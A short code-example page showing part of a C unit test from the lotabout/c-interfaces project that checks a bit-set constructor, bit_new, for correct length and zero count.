C++ (Cpp) bit_new Examples

Example #1

File: bit_tests.c Project: lotabout/c-interfaces

char *test_new()
{
    a = bit_new(256);
    mu_assert(a != NULL, "bit_new returns NULL.\n");
    mu_assert(bit_length(a) == 256, "bit_new returns wrong length.\n");
    mu_assert(bit_count(a) == 0, "bit_new returns wrong count.\n");

    b = bit_new(256);
    mu_assert(b != NULL, "bit_new returns NULL.\n");
    mu_assert(bit_length(b) == 256, "bit_new returns wrong length.\n");
    mu_assert(bit_count(b) == 0, "bit_new returns wrong count.\n");
